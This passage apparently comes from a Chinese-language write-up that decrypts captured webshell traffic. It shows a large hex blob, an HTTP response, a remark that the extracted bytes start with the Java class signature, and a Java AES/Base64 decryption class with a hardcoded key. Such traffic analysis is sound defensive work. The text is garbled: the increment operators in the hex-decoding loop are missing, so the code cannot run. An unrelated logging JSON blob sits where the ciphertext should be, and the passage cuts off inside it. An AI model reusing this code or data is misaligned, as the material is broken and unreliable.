5a0f7cd17ba308c6a8da6f97f754d61f6dd05e85f1bb0d760862aa7ebfd3e040605ddbe71e71b58d27d564924f8db379e38f88d3997952698272e1426927a88d92c0e200fbea08055b15a8a9c6eafe43a754b8293d2a6ebaffefbe4ab9c694ba0555f2f45a501f6c3551a68d0f13e1be42ccc90bc582ffadee8f1159072a4f4474f3767bae16c823d90c969a700fb9910551b54909a9b728750bd08993f1f84da1e9d961965e4a768644b0d82dea1fd3971f448bf5362634b441b6ee8bbd1725178adf5ce1903098f316e4874040e20472602b1ea6332564013710d3d6feb8b507567260ec71f1dc1c770f35a0caa52d2f99cb1c8379f27e6ce6e42353242fab01c546479332adbad30f9ae74a8f3cd0fecc1e192460a732834cd335b89e1bc2eeb41a3109d3280cc8ae45ba56dd458ee0dd0bbdbcc8ef4586141f1c711cb0dd1387eafb0a2a22132ec1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633"}
*/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=66F5F21745E86D7D60B9253FABA7D17A.server; Path=/; HttpOnly
Content-Type: text/xml;charset=UTF-8Content-Length: 0Date: Mon, 25 Jul 2022 11:16:17 GMT
Connection: close

我们可以很明显的发现class的特征,CAFEBA

我们将字节码进行提取,并使用jd-gui进行打开,发现并不能打开,因此,咨询相关师傅后,可能是在读取解码过程中发生了问题,

代码语言:javascript复制
package nuc.edu.hello.controller;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;public class Test {    public static byte[] aes128(byte[] s, int mode) {        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF Q==".getBytes()), "AES"));            return c.doFinal(s);
        } catch (Exception exception) {            return null;
        }
    }    public static byte[] base64Decode(byte[] bytes) {        byte[] value = null;        try {
            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {            try {
                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }        return value;
    }    public static byte[] unHex(byte[] data) {        int len;        byte[] out;        int i;        int j;        for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j &lt; len; ) {            int f = Character.digit(data[j  ], 16) &lt;&lt; 4;
            f |= Character.digit(data[j  ], 16);
            out[i] = (byte) (f &amp; 0xFF);
            i  ;
        }        return out;
    }    public static byte[] base64Encode(byte[] bytes) {        byte[] encrypted = null;
        String str;        try {
            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {            try {
                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
                str=str.replace("n", "").replace("r", "");
                encrypted=str.getBytes();
            } catch (Exception exception1) {
            }
        }        return encrypted;
    }    public static void main(String[] args) throws IOException {
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* String b = "{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290615727c4e892b1e797a9d9fb6a6501b0b9fb1cf91979975951cf84798d43c73e754678d40e2b14904ffdbecee122fec5274e0d61d0a5c1f496b29c485614338568bc30ed52361a5730c12a639b3ca2906c70ac2fc78673125867b9ac63fa04eb6448f8d478945482bafc7a77ff6dc5877be60f90a79d93020c58bacbb8e1108902b33dd52592b6c7c3dcba6bec8c1ba2f01efbb75c9809394f059b2c43bb31f766ca710583ed06a53b8c9cda46bfc905e13dfe46398e79d0643a1c91812fb04e1cccfdc465e81d168f99ef3f345c09ca4dde4c3b37174a9e004b1fb1393fdb77aa5c528e41b30bf7d533f93d747dfdf2c6d8630560c54c9ddc850cd15938551af8a75a46a6fcd065d64021af713dab0c25dbaf55b6ed849d3a82888a2cfb0390e6ddefc31f575a3b7f0b9c099cb39a2fe3070b4b578fc93069293243fecdf52bd9b20dd75e50dbd2723e828863dee27d648cb5aaf9c1cd67ba1acae9eafee634f5237394fb2be0fb6d9362116e2e9d2778d02a57a45672bb29f69bc05a7d6c24c824deaf39c5c89e4c11b419fc07dd6148d1d1b319aeb7a37a3d8b5a845001c23417be44443ef7c4429976cfceb93b9fed1a460c33d3e5a830f231efbf719e70c62b95a98c1fc96812df269f5703e8b9f1c227ad1535cfe5f410c9124e6b51dbac27e5565d24805b5cea1a42f2dcf445a97847521d47dd237a98d005d32d303326e4df3572e7f7b1c66c4c94d890a565fd23cffde99a8f1e404043c221e4d1a16668bc985c7970931d0596dc745be04bf5b60123c77e7ee75c3f276f1f747439634b041da8b774f6a434057fd1f7160e11f030c365c80984b54d33592776fb9fbbcb7532783535a9e987a587aed2b0b9198367f96019b2f30a88419c8854ea01131f1f0b6a142858b2622d1dd42a0c94e1bdc43312c913419b1bf33763b1f22c65895f72403a6934b9e5f76b80e6dd1c477df564661467b261c995b444b91638c2e2eb1d86839881ceb4181307644843e7d6603b43d4d99a508d8006bcc7a8fe991c86461d3eb83856bdfd1f62af13ad0d7c8bdd825cbc18b2da1815c462f22b4b02e2c8d155b597e931dc8bb73ada730541df773bd09daa94f027c95fdd7c20bf81701e8dcf6f56e19df385a4e1a11ca09fbed893edc5565f511698b7699e1ce7ae0808d688f72fab395588f9a6cdaf343ffaf28e567e4e4b522cdc049dc967e462919969fb3ab1545a37cdd65db7f5e55ee9e725ba8eafb397ef7f0cfccbfd9ecd77121f923fa0e96aa7cca3e7c46